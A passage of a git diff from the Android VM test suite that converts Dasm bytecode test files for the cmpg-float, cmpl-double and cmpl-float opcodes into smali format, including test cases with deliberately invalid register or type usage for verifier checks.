-.source T_cmpg_float_2.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       const-wide v1, 3.1414
-       cmpg-float v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.smali
new file mode 100644
index 0000000..9a127ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_2.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 3.1414
+       cmpg-float v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.d
deleted file mode 100644
index f741d1e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_3.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       const-wide v1, 234234
-       cmpg-float v0, v1, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.smali
new file mode 100644
index 0000000..40044ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_3.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 234234
+       cmpg-float v0, v1, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.d
deleted file mode 100644
index f40f08e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_4.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpg-float v0, v6, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.smali
new file mode 100644
index 0000000..71d4616
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_4.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpg-float v0, v6, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.d
deleted file mode 100644
index 46a019a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_5.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpg-float v0, v9, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.smali
new file mode 100644
index 0000000..09367cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_5.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpg-float v0, v9, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.d
deleted file mode 100644
index 1051f14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_6.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 9
-       cmpg-float v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.smali
new file mode 100644
index 0000000..b6c4a58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_6.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 9
+       cmpg-float v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.d
deleted file mode 100644
index 03a840e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_1.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       cmpl-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.smali
new file mode 100644
index 0000000..7e8da2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_1.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpl-double v0, v12, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.d
deleted file mode 100644
index 49566ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_2.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       const v14, 3.14
-       cmpl-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.smali
new file mode 100644
index 0000000..6682867
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_2;
+.super Ljava/lang/Object;
+.source "T_cmpl_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)I
+    .registers 16
+
+    const p3, 0x4048f5c3    # 3.14f
+
+    cmpl-double v0, p1, p3
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.d
deleted file mode 100644
index e132fa0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_3.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)I
-.limit regs 16
-
-       cmpl-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.smali
new file mode 100644
index 0000000..fe17c14
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_3.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)I
+.registers 16
+
+       cmpl-double v0, v12, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.d
deleted file mode 100644
index cf01f55..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_4.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       const-wide v12, 12356
-       cmpl-double v0, v12, v11
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.smali
new file mode 100644
index 0000000..cb07604
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_4.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       const-wide v12, 12356
+       cmpl-double v0, v12, v11
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.d
deleted file mode 100644
index 453ee43..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_5.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       cmpl-double v0, v12, v16
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.smali
new file mode 100644
index 0000000..876857c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_5.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpl-double v0, v12, v16
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.d
deleted file mode 100644
index 720ec7c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_6.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 16
-       move v0, v14
-       move v1, v14
-       move v2, v15
-       move v3, v15
-
-       cmpl-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.smali
new file mode 100644
index 0000000..1a49b45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_6.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 16
+       move v0, v14
+       move v1, v14
+       move v2, v15
+       move v3, v15
+
+       cmpl-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.d
deleted file mode 100644
index 48f14e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_1.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpl-float v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.smali
new file mode 100644
index 0000000..f0c22af
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_1.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpl-float v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.d
deleted file mode 100644
index 67ed903..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
